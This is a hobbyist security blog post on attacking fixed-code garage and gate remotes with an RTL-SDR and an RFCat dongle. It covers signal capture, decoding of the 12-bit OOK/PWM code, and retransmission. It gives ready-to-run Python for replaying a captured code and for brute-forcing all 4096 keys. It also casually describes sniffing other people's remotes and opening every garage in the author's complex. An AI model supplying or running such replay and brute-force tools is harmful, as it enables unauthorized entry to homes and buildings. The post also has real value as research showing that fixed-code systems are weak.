Previously I discussed using my RTL-SDR to merely listen for analog audio signals. In this entry I’ll discuss using it to decode digital signals (this example on fixed remote signals often used for garages / gates ) so that they can be replayed/brute forced with something like the RFCat project (based on TI’s CC1111EMK module). This has probably been done to death already but I figured since I struggled with it maybe this will help someone else do it a lot quicker (and mostly cause I think its cool).
The basic components are:
* RTL-SDR on a windows machine with the HDSDR application installed (really easy to use — saves me doing hard work)
* Audio application to look at demodulated stream (I like the open-source project Audacity )
* RFcat under linux for easy transmission of data – find more about RFcat at http://code.google.com/p/rfcat/
Then there are 3 basic steps to a replay/bruteforce attack:
* Capture Signal: Figure out what frequency it is on, figure out what modulation is used
* Decode Captured Signal: Decode the signal to data you can work with so you can replay it and if possible brute force similar ones
* Transmit Signal: Send off your data for epic-winness (okay its not that complex, but it still feels cool)
I am going to assume at this stage that you have access to the remote (otherwise it may be illegal, I think.. lets just go with that). The easiest thing to do firstly is try and identify your remote, here is my garage remote for the complex that I live in (with many garages all of the same type):
If you do have access to your remote, and it is labelled as nicely as mine is, a simple google search should get you the information you need. Mine is a “Sentry Binary One”, quick search gives you http://www.martin-electronics.co.za/tx_403_binary1_3.html which includes a user guide as well as an approval certification, which luckily for us includes that the remote uses AM and OOK modulation as well as that it transmits at 403.55mhz. Epic win! Everything we need is included!
However if you do not have access to the remote (lets say you left it in your friends car who lives with you and your phone is flat and they didn’t see you standing outside the complex), you can use HDSDR to look for the signal when they open the gate/garage. Most remotes run between 300 and 400 mhz ( http://en.wikipedia.org/wiki/Garage_door_opener#Remote_control ) and even with the basic antenna that came with my RTL device I could pick them up from a decent distance:
Once you have it setup, simply fire up HDSDR and keep it running at the 300-400mhz range (typically around 400 or 433 range), for my remote I centered my HDSDR on 403.7 looking for signal around 403.5Mhz:
In the above picture you can see my remote on the left, pulsing as I pushed the button…You will notice my HDSDR is set to AM modulation (and I believe most remotes will be on this).
So now we have the frequency we need to start looking at the actual signal sent out, HDSDR has the great option to record the Audio in a number of means:
* RF (full signal input) – (all the bandwidth, not modulated)
* IF (non-demodulated reduced RF) – I honestly have no idea on this
* AF ( demodulated audio ) – Just the signal we are currently listening to
Note: quick way to get to this screen is to just right click on the record button.
So now we want to record the signal, select AF mode on in the record window and press the record button when the signal is transmitting obviously :) Now we have the signal recorded (it will be a .wav file within the output directory).
Decoding Captured Signal
So now we have the .wav output of our demodulated signal (AM demodulated), we can fire up out our favourite audio editing application and examine the signal, below you can see what mine looks like in audacity:
It should be rather readily apparent where our signal is, so if you zoom into the signal (looks like a series of arrows pointing upwards) there you will see the following: (zooming in audacity is as simply as ctrl + scrolling)
If you have a closer look at the signal you should see that there are essentially two types/bits being sent, one with a longer “high” (ironically a 0) and one with a much shorter “high” a 1. And if you had to do it in your head you will see that that signal (which is repeated) is: 010010110011 , if you go back to the original image of the gate remote, you will see that the DIP switches are configured to exactly the same binary code.
So now we know that the DIP switches are sending out exactly what they are set to that over AM/OOK (we got that earlier from the PDFs). At this stage I thought I had everything, but one of the key things I was missing was that this signal was OOK/PWM.
I know it seems very silly now especially after re-reading http://en.wikipedia.org/wiki/On-off_keying but whilst the signal is OOK it ALSO uses PWM or Pulse Width Modulation ( http://en.wikipedia.org/wiki/Pulse-width_modulation ). PWM essentially just means there is a clocking signal as well, so there is a constant on and off, and if there is a high signal it forms a longer period of the signal staying high.
(I couldn’t find a nice picture to explain this, so if someone has one please send it to me!)
So now i have the frequency (403.55mhz), the encoding (AM,OOK,PWM) and I have how the signals are generated and I know there are 12 bits. From here I need to start working on spoofing the signal I have or bruteforcing a range. For this particular remote bruteforcing is possible as I have all the information and the keyspace is small, 2^12 = 4096 keys.
Transmitting the Signal
During Blackhat 2012 there was a fantastic talk/workshop by At1as ( https://twitter.com/at1as ) on his RFCat project (release post) which is on google code ( http://code.google.com/p/rfcat/ ). Essentially what this allows is that people who want to play with RF / security researchers / n00bs (yours truely) can quickly and easily both recieve (RX) and transmit (TX) RF data in the “sub GHz” ( <1Ghz ) range with hardware that is not expensive and has a very low barrier to entry to get working. I definitely recommend pulling the PDF of the workshop from http://code.google.com/p/rfcat/downloads/list as it covers a huge amount of the tool as well as helpful sections on RF in general.
The RFCat project runs on a number of dongles including the CC1111EMK USB module from Texas Instruments, I bought mine at Blackhat so it came pre-flashed with the firmware, however if you do need to flash the firmware onto yours simple buy one of the dongles ( http://www.ti.com/tool/cc1111emk868-915 – $50 ) and you can flash the firmware with a goodfet.
Once you have the dongle flashed simple copy the required files and you are good to go. There are two main means of interacting with the libraries:
* Interactive Python Shell – Super useful for debug/testing, a bit much if you want to write something specific (we will get to that later)
* Python script (including the RFCat libraries) – Useful for writing security applications
Lets start with the python script, after installing simply run “./rfcat -r” and you should be greeted with a fantastic shell:
The dialog will give you the basics, but just to go over them: There is a global ‘d’ object that is how you will interact with the device, all methods for this object are tab-completable (win!) and the basic methods that you will use are:
d.setFreq(freq) — Naturally sets the frequency we want to transmit on, where “freq” is that, something like d.setFreq(403492750).
d.setMdmModulation(modulation) — Sets the digital modulation (modulation) mode — this is also tab completable! My remote is ASK/OOK so I use d.setMdmModulation(MOD_ASK_OOK).
d.makePktFLEN(length) — When using a fixed packet length you can use this to specify the size of the packets, so if I was sending ‘\xDE\xAD\xBE\xEF’ it would be d.makePktFLEN(4).
d.setMdmDRate(baud) — This function sets the baudrate or how much data is set at a time, for my remote its about 4800 baud so I use d.setMdmDRate(4800)
d.setMaxPower() — Not entirely sure on this, but I presume it gives the most power output and thus the ability to transmit further
d.RFxmit(<bytestring>) — While the example works with a normal string, for all intents and purposes (thanks Conan!) when dealing with digital its a lot easier to send a bytestring, If I was sending 0xDEADBEEF I would use d.RFxmit(‘\xDE\xAD\xBE\xEF’)
For my first trick I’d like to at least see that I am transmitting in roughly the same frequency (garage/gate remotes seem to be less picky about it being exact), so I’ll fire up HDSDR, press my gate remote a few times to identify where the signal is and then run a series of tests like this:
d.setFreq(403550000) #Set my frequency to the gate remote d.setMdmModulation(MOD_ASK_OOK) #Set my modulation to the right mode d.makePktFLEN(4) #Set my packetlength to 4 as I am sending 4 bytes d.setMdmDRate(4800) #Baudrate d.setMaxPower() #PowerMuch? for i in range(0,15):d.RFxmit('\xDE\xAD\xBE\xEF'); #Send this a few times as I want to clearly see my signal
Taking a quick sqwizz at the above HDSDR output you can see that a) My garage remote is not at 403.55 and b) my RFcat is not there either! This is for a number of reasons but primarily because the RTL-SDR that I have isn’t that precise (you can configure it to get the offset correctly). But in this case I don’t really need that I merely need to keep changing the frequency until I have both at the same point. Turns out the frequency my RFCat loves for gate remotes is 403492750:
Originally my RFcat had an issue where it wouldn’t tune to the correct frequency, if you do need to configure it by hand definite download SmartRF Studio from TI and select the Cc1111 in offline mode, you can then click on expert mode and check ‘Register View’ and this will give you listing of all the registers to put the chip into the right mode:
Once you have all the registers you can configure them within the python interactive shell or use something similar to how the setup900Mhz function works ( http://code.google.com/p/rfcat/source/browse/rflib/cc1111client.py#1810 ).
NOTE: This issue was actually fixed by Michael Ossmann already — just added it just in case, you can get the latest from the repo!
Alright, so at this stage we have our signal, we know what it is and we know what frequency to use, now we merely need to replay it out to get joy. This is a straight forward replay attack. As I said before if you didn’t realise it was PWM ontop of it all you can be stuck at this point begging people for help.
However PWM is pretty straight forward, so instead of sending your signal as is you actually want to draw it out, think of taking it and just stretching it. Every 1 becomes 11100 and every 0 becomes 11000, so if the binary we wanted to send out (for example my garage remote) is 010010110011 it actually becomes 111001100011100111001100011100110001100011100111001100011000.
I think its probably a bit easier explained in code:
dec_key = 1203 #key value for my remote, 010010110011 print "Decimal key:",dec_key bin_key = bin(dec_key) print "Binary (NON PWM) key:",bin_key bin_str_key = str(bin_key)[2:] # there must be a better way sire. pwm_str_key = "0b11100" #added leading 0 for k in bin_str_key: x = "*" if(k == "0"): x = "11100" # A zero is encoded as a longer high pulse (high-high-low) if(k == "1"): x = "11000" # and a one is encoded as a shorter high pulse (high-low-low). pwm_str_key = pwm_str_key + x print "Binary (PWM) key:",pwm_str_key dec_pwm_key = int(pwm_str_key,2);
This Outputs to:
Decimal key: 1203 Binary (NON PWM) key: 0b10010110011 Binary (PWM) key: 0b111001100011100111001100011100110001100011100111001100011000
At this stage I could take that binary and convert it to a byte string (\x0E\x63\x9C\xC7\x31\x8E\x73\x18) and send it out with the above example and record it again with HDSDR. So to do this once more I opened RFCat and ran:
for i in range(0,5):d.RFxmit(‘\x0E\x63\x9C\xC7\x31\x8E\x73\x18’);
Now I had the recording I opened it in Audacity, I also have the original signal so I could compare the two of them: (to get another track in Audacity just use file->import->audio)
As you can see, all’s not well in paradise at this stage. For starters there is a series of data thats clearly not mine at the beginning and the gate remote seems to be arching upwards whilst my signal is arching downwards.
The first part of the signal is actually the preamble and syncword which for all intents and purposes I equate to something like a packet header that describes what the data will be, its commonly found throughout RF but for the remotes I am looking to spoof is not necessary. Lucky At1as has an option to simply turn this off, so using the same code but adding d.setMdmSyncMode(0) will turn off sync words and preamble. So if you re-record the remote and compare now you will see the following:
Fantastic! So now we have two signals that are almost correct the only difference is that the original remote signal (bottom) has a leading 0 (not sure where I am missing one) and it starts from a high (1). Michael Ossmann explained this as “There is a carrier transmitted between each sequence. So the transmitter is never in the off (low) state except during a symbol.”, and what I had to do for that was simply pad the beginning and the end with ‘\xff\xff’.
So from doing that (for all intents and purposes just using d.makePktFLEN(12) and sending ‘\xFF\xFF\x0E\x63\x9C\xC7\x31\x8E\x73\x18\xFF\xFF’) I now get the following:
Bazinga! The two signals look the same :) Next was to go down to the garages to attempt to open them with this, first few tries I got absolutely nothing until someone asked how many times I was sending the signal and I said 5 (which seemed okay to me), but it appears I need to send it about 20-25 times before the garage opens. The range on the device was impressive however and I could do it a lot further away than I anticipated (I could open it from the gate of my complex which is around 20m or so to the garage).
So of course I wanted to take this a little further, first being able to simply cook up a python script I could execute to simulate the button press, that came out something like this:
#!/usr/bin/env python import sys import time from rflib import * from struct import * d = RfCat() keyLen = 0 baudRate = 4800 def ConfigureD(d): d.setMdmModulation(MOD_ASK_OOK) d.setFreq(403493000) d.makePktFLEN(keyLen) d.setMdmSyncMode(0) d.setMdmDRate(baudRate) d.setMaxPower() dec_key = 1203 #key value for my remote, 010010110011 print "Decimal key:",dec_key bin_key = bin(dec_key) print "Binary (NON PWM) key:",bin_key bin_str_key = str(bin_key)[2:] # there must be a better way sire. pwm_str_key = "0b11100" #added leading 0 for k in bin_str_key: x = "*" if(k == "0"): x = "11100" # A zero is encoded as a longer high pulse (high-high-low) if(k == "1"): x = "11000" # and a one is encoded as a shorter high pulse (high-low-low). pwm_str_key = pwm_str_key + x print "Binary (PWM) key:",pwm_str_key dec_pwm_key = int(pwm_str_key,2); print "Decimal (PWN) key:",dec_pwm_key key_packed = pack(">Q",dec_pwm_key) key_packed = '\xFF\xFF' + key_packed + '\xFF\xFF' keyLen = len(key_packed) ConfigureD(d) print "TX'ing key..." for i in range(0,25): d.RFxmit(key_packed) print "Done."
The initial kick of opening my garage door eventually subsided and naturally it progressed to being able to open every garage door in the complex. With there being a 12 bit key, the keyspace was only 2^12, 4096 keys.. this didn’t seem particularly large. So I wrote a simple brute forcer for the 12 bit keyspace that my remotes run on at 403.55ish Mhz:
#!/usr/bin/env python import sys import time import bitstring from rflib import * from struct import * d = RfCat() keyLen = 0 fixedLen = 13 baudRate = 4800 codes =  def ConfigureD(d): d.setMdmModulation(MOD_ASK_OOK) d.setFreq(403493000) d.makePktFLEN(fixedLen) d.setMdmSyncMode(0) d.setMdmDRate(baudRate) d.setMaxPower() print "Generating keys..." for dec_key in range(0,4096): #print "Decimal key:",dec_key bin_key = bin(dec_key) #print "Binary (NON PWM) key:",bin_key bin_str_key = str(bin_key)[2:] # there must be a better way sire. pwm_str_key = "11100" #added leading 0 for k in bin_str_key: x = "*" if(k == "0"): x = "11100" # A zero is encoded as a longer high pulse (high-high-low) if(k == "1"): x = "11000" # and a one is encoded as a shorter high pulse (high-low-low). pwm_str_key = pwm_str_key + x #print "Binary (PWM) key:",pwm_str_key #pad it for x in range(0,len(pwm_str_key) % 8): pwm_str_key = "0" + pwm_str_key dec_pwm_key = int(pwm_str_key,2); #encode it key_packed = bitstring.BitArray(bin(dec_pwm_key)).tobytes() key_packed = '\xFF\xFF' + key_packed + '\xFF\xFF' keyLen = len(key_packed) if(keyLen < fixedLen): for p in range(0,(fixedLen - keyLen)): key_packed = '\xFF' + key_packed keyLen = len(key_packed) #print "Key len:",keyLen #print "Key", key_packed.encode('hex') codes.append(key_packed) print "Done." print "numKeys:", len(codes) print "Configuring device.." ConfigureD(d) print "Done." numKeysDone = 0 print "TX'ing Keys" for key in codes: numKeysDone = numKeysDone + 1 for i in range(0,25): try: d.RFxmit(key) except Exception, e: print "Lost comms to USB device (most likely).. waiting 1 second, restarting it and going on" time.sleep(1) ConfigureD(d) continue if((numKeysDone*25) % 100 == 0): print "Sent ",numKeysDone*25, " keys (", numKeysDone , " keys ) of " , (len(codes) * 25) , " (at 25 requests per code) " print "Completed."
The problem however is that it takes about 16 minutes to get through everything, I am sure there are some massive improvements can be made, but I am prepared to wait 16 minutes in any case. Some of the things I did notice however:
* Any sort of d.<x> slows down the whole stream quite a lot which is why i pad to a fixed length rather than change it for every key
* Pregenning the keys seemed to buy me a bit of time
* Occasionally I lose USB comms to the device, It usually comes back up, so I just wrapped that in a try-catch
It appears to me that a lot of gates and garages that serve as primary means of entry to buildings/homes in South Africa are running on fixed key systems rather than rolling codes. These keys can be trivially sniffed out of the air and replayed to gain access. On top of that fixed key systems using small key spaces can be brute forced, and all of this with a ~R560 investment ($70) — For the RTLSDR and the CC1111EMK.
Where To from here?
It would be really nice to have an application (most likely python script) to automatically decode the OOK/PWM either from within one of the SDR applications (HDSDR or SDR#) or from a recorded .wav file.
Obviously looking at other RF devices, such as Alarm Systems, Rolling Code systems, TV, Cell Phones, GPS, etc that play within this space.
Lastly: thanks to everyone who tolerated the incessant amount of noobness that came rolling out of me — I appreciate all the help.
43 Comments to “Hacking fixed key remotes”
- BSides Badge Config
- HackFu 2016 Writeup
- Bypassing Rolling Code Systems
- Hacking fixed key remotes with (only) RFCat
- ZaCon V Badge [2/2]: How they work
Not the quickest of cats
on the best of days.
Magnetic Stripes (2)
- December 2016
- June 2016
- February 2016
- August 2015
- April 2014
- January 2014
- November 2013
- October 2013
- March 2013
- January 2013
- December 2012
- September 2012
- July 2012
- May 2012
- April 2012
- February 2012
- November 2011
- October 2011
- September 2011
- August 2011
- June 2011
- April 2011
- March 2011
- February 2011
- January 2011
- November 2010
- October 2010
- September 2010
- March 2010